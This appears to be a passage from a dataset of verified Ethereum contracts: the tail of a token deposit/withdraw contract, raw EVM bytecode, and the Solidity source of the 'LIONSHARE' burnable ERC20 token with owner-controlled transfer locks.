tokens were accidentally sent to the contract. /// @param token Address of the token to calculate for. /// @return Amount of tokens not accounted for. function overflow(address token) internal view returns (uint) { if (token == ETH) { return address(this).balance.sub(accounted[token]); } return ERC20(token).balanceOf(this).sub(accounted[token]); } /// @dev Accounts for token deposits. /// @param user Address of the user who deposited. /// @param token Address of the token deposited. /// @param amount Amount of tokens deposited. function depositFor(address user, address token, uint amount) private { balances[token][user] = balances[token][user].add(amount); accounted[token] = accounted[token].add(amount); emit Deposited(user, token, amount); } /// @dev Withdraws tokens to user. /// @param user Address of the target user. /// @param token Address of the token. /// @param amount Amount of tokens. function withdrawTo(address user, address token, uint amount) private { if (token == ETH) { user.transfer(amount); return; } if (isERC777[token]) { ERC777(token).send(user, amount); return; } require(ERC20(token).transfer(user, amount)); } }
0x60606040526004361061011c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806223de29146101215780632670bdf0146102275780632f54bf6e146102605780633a30452a146102b157806347e7ef24146102ea5780636f362c2b146103215780638322fff2146103765780638ce5877c146103cb5780638da5cb5b14610404578063900888a3146104595780639a206ece14610492578063a389783e146104e3578063ab7b70d314610553578063c0ee0b8a146105a4578063daea85c514610629578063e7e31e7a14610662578063f18d03cc1461069b578063f2fde38b1461071b578063f3fef3a314610754578063f7888aec14610796578063fbf1f78a14610802575b600080fd5b341561012c57600080fd5b610225600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061083b565b005b341561023257600080fd5b61025e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108f9565b005b341561026b57600080fd5b610297600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610967565b604051808215151515815260200191505060405180910390f35b34156102bc57600080fd5b6102e8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506109c0565b005b61031f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109ea565b005b341561032c57600080fd5b610334610b7a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561038157600080fd5b610389610ba4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103d657600080fd5b610402600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ba9565b005b341561040f57600080fd5b610417610c5b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046457600080fd5b610490600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c80565b005b341561049d57600080fd5b6104c9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cef565b604051808215151515815260200191505060405180910390f35b34156104ee57600080fd5b610539600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d45565b604051808215151515815260200191505060405180910390f35b341561055e57600080fd5b61058a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dd9565b604051808215151515815260200191505060405180910390f35b34156105af57600080fd5b610627600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610df9565b005b341561063457600080fd5b610660600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e09565b005b341561066d57600080fd5b610699600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f53565b005b34156106a657600080fd5b610719600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061106c565b005b341561072657600080fd5b610752600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061138e565b005b341561075f57600080fd5b610794600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113e5565b005b34156107a157600080fd5b6107ec600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611632565b6040518082815260200191505060405180910390f35b341561080d57600080fd5b610839600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116b9565b005b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108e65760018060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6108f18533856117ab565b505050505050565b61090233610967565b151561090d57600080fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050919050565b6109c933610967565b15156109d457600080fd5b6109e733826109e2846119d6565b611b86565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610a265750600034145b1515610a3157600080fd5b819050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a7157349050610b6a565b8273ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515610b4757600080fd5b5af11515610b5457600080fd5b505050604051805190501515610b6957600080fd5b5b610b753384836117ab565b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081565b610bb233610967565b1515610bbd57600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f0e2fc808ab0ead56889f8ff2a8ea0841ba4c0b8311607a902eb24b834857e1b560405160405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610c8933610967565b1515610c9457600080fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b60016020528060005260406000206000915054906101000a900460ff1681565b610e048333846117ab565b505050565b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610e6157600080fd5b6001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167faad2833c9fd7a3de33f301e5186ee84d1a5753ce32de6b97baedaac4b92b55fc60405160405180910390a350565b610f5c33610967565b1515610f6757600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff1614151515610f8d57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff167f8fd571ab479506dd07023e78f221245916b6cb54285d954030be2cfb1674657a60405160405180910390a250565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156110c457600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561115a57600080fd5b60008211151561116957600080fd5b6111f882600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd390919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061130782600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dec90919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505050565b61139733610967565b15156113a257600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b806113f08333611632565b101515156113fd57600080fd5b61148c81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd390919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061155e81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dd390919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115ac338383611b86565b3373ffffffffffffffffffffffffffffffffffffffff167fd1c19fbcd4551a5edfb66d43d2e337c04837afda3482b42bdf569a8fccdae5fb8383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a25050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f1ab270601cc6b54dd5e8ce5c70dbac96a01ff12939e4e76488df62adc8e6837360405160405180910390a350565b61183a81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dec90919063ffffffff16565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061190c81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dec90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f8752a472e571a816aea92eec8dae9baf628e840f4929fbcc2d155e6233ff68a78383604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a2505050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a7c57611a75600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020543073ffffffffffffffffffffffffffffffffffffffff1631611dd390919063ffffffff16565b9050611b81565b611b7e600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515611b5957600080fd5b5af11515611b6657600080fd5b50505060405180519050611dd390919063ffffffff16565b90505b919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c00578273ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611bfb57600080fd5b611dce565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611d09578173ffffffffffffffffffffffffffffffffffffffff1663d0679d3484836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1515611cf457600080fd5b5af11515611d0157600080fd5b505050611dce565b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611dab57600080fd5b5af11515611db857600080fd5b505050604051805190501515611dcd57600080fd5b5b505050565b6000828211151515611de157fe5b818303905092915050565b6000808284019050838110151515611e0057fe5b80915050929150505600a165627a7a72305820583e1412bcaa8257094a232112e08423880683cfd0f2895c01e8d2af7afabe630029
{"success": true, "error": null, "results": {}}
6,895
0x5b1ef05d0bfe4073c36ba02288016f1d573f74ef
/** *Submitted for verification at Etherscan.io on 2020-08-06 */ // SPDX-License-Identifier: No License pragma solidity 0.6.12; // ---------------------------------------------------------------------------- // 'LIONSHARE' token contract // // Symbol : LSHARE // Name : LIONSHARE // Total supply: 100 000 000 // Decimals : 18 // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath{ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0;} uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ interface ERC20Basic { function balanceOf(address who) external view returns (uint256 balance); function transfer(address to, uint256 value) external returns (bool trans1); function allowance(address owner, address spender) external view returns (uint256 remaining); function transferFrom(address from, address to, uint256 value) external returns (bool trans); function approve(address spender, uint256 value) external returns (bool hello); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20Basic, Ownable { uint256 public totalSupply; using SafeMath for uint256; mapping(address => uint256) balances; // allowedAddresses will be able to transfer even when locked // lockedAddresses will *not* be able to transfer even when *not locked* mapping(address => bool) public allowedAddresses; mapping(address => bool) public lockedAddresses; bool public locked = true; function allowAddress(address _addr, bool _allowed) public onlyOwner { require(_addr != owner); allowedAddresses[_addr] = _allowed; } function lockAddress(address _addr, bool _locked) public onlyOwner { require(_addr != owner); lockedAddresses[_addr] = _locked; } function setLocked(bool _locked) public onlyOwner { locked = _locked; } function canTransfer(address _addr) public view returns (bool can1) { if(locked){ if(!allowedAddresses[_addr]&&_addr!=owner) return false; }else if(lockedAddresses[_addr]) return false; return true; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public override returns (bool trans1) { require(_to != address(0)); require(canTransfer(msg.sender)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. */ function balanceOf(address _owner) public view override returns (uint256 balance) { return balances[_owner]; } mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) { require(_to != address(0)); require(canTransfer(msg.sender)); uint256 _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public override returns (bool hello) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. */ function allowance(address _owner, address _spender) public view override returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); emit Burn(burner, _value); emit Transfer(burner, address(0), _value); } } contract LIONSHARE is BurnableToken { string public constant name = "LIONSHARE"; string public constant symbol = "LSHARE"; uint public constant decimals = 18; // there is no problem in using * here instead of .mul() uint256 public constant initialSupply = 100000000 * (10 ** uint256(decimals)); // Constructors constructor () public{ totalSupply = initialSupply; balances[msg.sender] = initialSupply; // Send all tokens to owner allowedAddresses[owner] = true; } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c806370a08231116100b8578063a9059cbb1161007c578063a9059cbb1461063b578063cf3090121461069f578063d73dd623146106bf578063dd62ed3e14610723578063f22600311461079b578063f2fde38b146107eb57610142565b806370a082311461047857806378fc3cb3146104d05780638da5cb5b1461052a57806395d89b411461055e578063a5bbd67a146105e157610142565b8063313ce5671161010a578063313ce56714610300578063378dc3dc1461031e5780634120657a1461033c57806342966c68146103965780634edc689d146103c4578063661884631461041457610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd1461022e578063211e28b61461024c57806323b872dd1461027c575b600080fd5b61014f61082f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610868565b60405180821515815260200191505060405180910390f35b61023661095a565b6040518082815260200191505060405180910390f35b61027a6004803603602081101561026257600080fd5b81019080803515159060200190929190505050610960565b005b6102e86004803603606081101561029257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d5565b60405180821515815260200191505060405180910390f35b610308610cd1565b6040518082815260200191505060405180910390f35b610326610cd6565b6040518082815260200191505060405180910390f35b61037e6004803603602081101561035257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce4565b60405180821515815260200191505060405180910390f35b6103c2600480360360208110156103ac57600080fd5b8101908080359060200190929190505050610d04565b005b610412600480360360408110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610eca565b005b6104606004803603604081101561042a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fd6565b60405180821515815260200191505060405180910390f35b6104ba6004803603602081101561048e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611267565b6040518082815260200191505060405180910390f35b610512600480360360208110156104e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b0565b60405180821515815260200191505060405180910390f35b6105326113e6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61056661140a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105a657808201518184015260208101905061058b565b50505050905090810190601f1680156105d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610623600480360360208110156105f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611443565b60405180821515815260200191505060405180910390f35b6106876004803603604081101561065157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611463565b60405180821515815260200191505060405180910390f35b6106a7611649565b60405180821515815260200191505060405180910390f35b61070b600480360360408110156106d557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061165c565b60405180821515815260200191505060405180910390f35b6107856004803603604081101561073957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611858565b6040518082815260200191505060405180910390f35b6107e9600480360360408110156107b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506118df565b005b61082d6004803603602081101561080157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119eb565b005b6040518060400160405280600981526020017f4c494f4e5348415245000000000000000000000000000000000000000000000081525081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109b857600080fd5b80600560006101000a81548160ff02191690831515021790555050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a1057600080fd5b610a19336112b0565b610a2257600080fd5b6000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610af583600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3a90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b8a83600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b5190919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610be08382611b3a90919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a6305f5e1000281565b60036020528060005260406000206000915054906101000a900460ff1681565b60008111610d1157600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610d5d57600080fd5b6000339050610db482600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b3a90919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0c82600154611b3a90919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f2257600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f7b57600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156110e7576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061117b565b6110fa8382611b3a90919063ffffffff16565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808281